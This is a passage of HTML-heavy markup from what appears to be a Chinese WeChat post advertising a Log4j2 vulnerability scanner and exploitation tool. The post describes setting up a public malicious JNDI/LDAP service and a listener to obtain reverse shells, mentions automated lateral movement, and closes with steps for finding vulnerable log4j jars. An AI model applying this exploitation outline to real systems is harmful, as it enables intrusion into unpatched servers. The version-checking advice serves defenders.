53);font-size: 14px;text-align: start;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;display: inline-block;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);visibility: visible;overflow-wrap: break-word !important;"><p data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-darkmode-color-16304617494654="rgb(254, 254, 254)" data-darkmode-original-color-16304617494654="#fff|rgb(254, 254, 254)" style="max-width: 100%;color: rgb(254, 254, 254);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-darkmode-color-16304617494654="rgb(254, 254, 254)" data-darkmode-original-color-16304617494654="#fff|rgb(254, 254, 254)" style="max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); visibility: visible; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__2" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(141, 141, 141)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-darkmode-color-16304617494654="rgb(141, 141, 141)" data-darkmode-original-color-16304617494654="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">工具使用</span></strong></p></section></section></section><section data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); text-indent: 2em; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__3" style="white-space: normal;color: rgb(53, 53, 53);font-size: 14px;text-align: start;max-width: 100%;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-indent: 2em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><section data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); text-indent: 2em; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__3" style="white-space: normal;color: rgb(53, 53, 53);font-size: 14px;text-align: start;max-width: 100%;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-indent: 2em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><section data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); text-indent: 2em; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__3" style="white-space: normal;color: rgb(53, 53, 53);font-size: 14px;text-align: start;max-width: 100%;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-indent: 2em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><section data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); text-indent: 2em; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__3" style="white-space: normal;color: rgb(53, 53, 53);font-size: 14px;text-align: start;max-width: 100%;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-indent: 2em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.0385259631490786" data-s="300,640" data-w="1194" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=37fe7c9e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cH84aBWdBor8JbYicYdbiaE97nDvrvDP3Gr3oCnfqUelyiajNrMB6Be1qRERRVphdbfUicw7XKpacZkhWg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><section style="text-align: left;text-indent: 2em;">该工具从InScan专业版分离，包含漏洞验证功能与漏洞利用功能，在利用漏洞时候需要在公网IP上部署一个JNDI恶意服务(<a href="https://github.com/feihong-cs/JNDIExploit)" target="_blank">https://github.com/feihong-cs/JNDIExploit)</a></section><section style="text-align: left;text-indent: 2em;">参数如下图，填入LDAP地址框，然后再使用公网IP监听端口来反弹shell。</section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.10094637223974763" data-s="300,640" style="" data-type="png" data-w="1268" src="https://wechat2rss.xlab.app/img-proxy/?k=00105abd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cH84aBWdBor8JbYicYdbiaE97nDuQXAPb3S5Dz2VRkyjRHeIZNzponcfiamyBtvgEiccr5w7NLvbZuZZ0A%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.0423011844331642" data-s="300,640" data-w="1182" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=da80fd5f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cH84aBWdBor8JbYicYdbiaE97nrn9V0iaIXzrEzicJAE9rO9193W0VAB62XvdQMtY39nyeHPzaGH6Eibfvg%2F640%3Fwx_fmt%3Dpng"/></p><p style="white-space: normal;font-size: 14px;text-align: start;background-color: rgb(255, 255, 255);font-family: DengXian;color: rgb(0, 0, 0);"><br/></p><p style="white-space: normal;font-size: 14px;text-align: start;background-color: rgb(255, 255, 255);font-family: DengXian;color: rgb(0, 0, 0);"><span style="font-size: 17px;">    当然InScan专业版也集成了dnslog与自动化反弹shell功能，可全自动检测和利用 Log4j2远程代码执行漏洞，通过<span style="color: rgb(0, 0, 0);font-family: DengXian;text-align: start;background-color: rgb(255, 255, 255);">Log4j2</span>自动内网横向移动。</span></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5018450184501845" data-s="300,640" data-w="2710" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=fc3ce69d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cH84aBWdBor8JbYicYdbiaE97nvz1ZOiaOstP0VIrK1nM8XvVhOxeMY0VDFVzF4psxartlV7I7g5s8Jicg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4725859247135843" data-s="300,640" style="" data-type="png" data-w="2444" src="https://wechat2rss.xlab.app/img-proxy/?k=9be00ce6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cH84aBWdBor8JbYicYdbiaE97noeojQdnOicliaeAEPibTrccxXvzcIibMWTC1kpkJxgUuMF5Jv5pM24zNKg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6567335243553009" data-s="300,640" style="" data-type="png" data-w="1745" src="https://wechat2rss.xlab.app/img-proxy/?k=6e09db2d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cH84aBWdBor8JbYicYdbiaE97n9UTZEia1OicNcbkbmpboRzWoP5H92wXyeUAN1AhXmuEuYbNuJhwIuvUg%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.48541666666666666" data-s="300,640" style="" data-type="png" data-w="1920" src="https://wechat2rss.xlab.app/img-proxy/?k=1d52334d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cH84aBWdBor8JbYicYdbiaE97nwIkWfguc5oQf0Al7tgBS5LbBlqUoxhsDkJf6ErpQkASic2R1whIqib8Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><br style="white-space: normal;"/></p><p style="white-space: normal;font-size: 14px;text-align: start;background-color: rgb(255, 255, 255);font-family: DengXian;color: rgb(0, 0, 0);"> </p><section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); visibility: visible; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__1" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="white-space: normal;color: rgb(53, 53, 53);font-size: 14px;text-align: start;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;display: inline-block;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);visibility: visible;overflow-wrap: break-word !important;"><p data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-darkmode-color-16304617494654="rgb(254, 254, 254)" data-darkmode-original-color-16304617494654="#fff|rgb(254, 254, 254)" style="max-width: 100%;color: rgb(254, 254, 254);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-darkmode-color-16304617494654="rgb(254, 254, 254)" data-darkmode-original-color-16304617494654="#fff|rgb(254, 254, 254)" style="max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); visibility: visible; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__2" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(141, 141, 141)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-darkmode-color-16304617494654="rgb(141, 141, 141)" data-darkmode-original-color-16304617494654="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">工具下载</span></strong></p></section></section></section><section data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); text-indent: 2em; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__3" style="white-space: normal;color: rgb(53, 53, 53);font-size: 14px;text-align: start;max-width: 100%;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-indent: 2em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><p style="white-space: normal;font-size: 14px;text-align: start;background-color: rgb(255, 255, 255);font-family: DengXian;color: rgb(0, 0, 0);">     </p><p style="white-space: normal;font-size: 14px;text-align: start;background-color: rgb(255, 255, 255);font-family: DengXian;color: rgb(0, 0, 0);"><span style="font-size: 17px;">    关注微信公众号回复&#34;<strong>log4j</strong>&#34;获取下载链接。</span></p><p style="white-space: normal;font-size: 14px;text-align: start;background-color: rgb(255, 255, 255);font-family: DengXian;color: rgb(0, 0, 0);"> </p><p style="white-space: normal;font-size: 14px;text-align: start;background-color: rgb(255, 255, 255);font-family: DengXian;color: rgb(0, 0, 0);"><br/></p><p style="white-space: normal;font-size: 14px;text-align: start;background-color: rgb(255, 255, 255);font-family: DengXian;color: rgb(0, 0, 0);"> </p><section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); visibility: visible; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__1" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="white-space: normal;color: rgb(53, 53, 53);font-size: 14px;text-align: start;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;display: inline-block;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);visibility: visible;overflow-wrap: break-word !important;"><p data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-darkmode-color-16304617494654="rgb(254, 254, 254)" data-darkmode-original-color-16304617494654="#fff|rgb(254, 254, 254)" style="max-width: 100%;color: rgb(254, 254, 254);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-darkmode-color-16304617494654="rgb(254, 254, 254)" data-darkmode-original-color-16304617494654="#fff|rgb(254, 254, 254)" style="max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); visibility: visible; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__2" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(141, 141, 141)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-darkmode-color-16304617494654="rgb(141, 141, 141)" data-darkmode-original-color-16304617494654="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">排查方法</span></strong></p></section></section></section><section data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); text-indent: 2em; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__3" style="white-space: normal;color: rgb(53, 53, 53);font-size: 14px;text-align: start;max-width: 100%;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-indent: 2em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><p style="white-space: normal;font-size: 14px;text-align: start;background-color: rgb(255, 255, 255);font-family: DengXian;color: rgb(0, 0, 0);"> </p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;">   <span style="font-size: 17px;"> 在应用内部搜索log4j-core-*.jar以及log4j-api-*.jar两个关键字，查看其版本是否在受影响的版本范围中，同时查看其pom.xml文件内部的版本号进行二次确认。也可以通过查看内部JAVA源代码库中所引入的组件清单列表来确认是否引入了Apache Log4j 2.x的Jar包。</span></p><p style="font-size: 14px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);font-family: DengXian;color: rgb(0, 0, 0);"><br/></p><p style="white-space: normal;font-size: 14px;text-align: start;background-color: rgb(255, 255, 255);font-family: DengXian;color: rgb(0, 0, 0);"> </p><section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); visibility: visible; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__1" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="white-space: normal;color: rgb(53, 53, 53);font-size: 14px;text-align: start;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 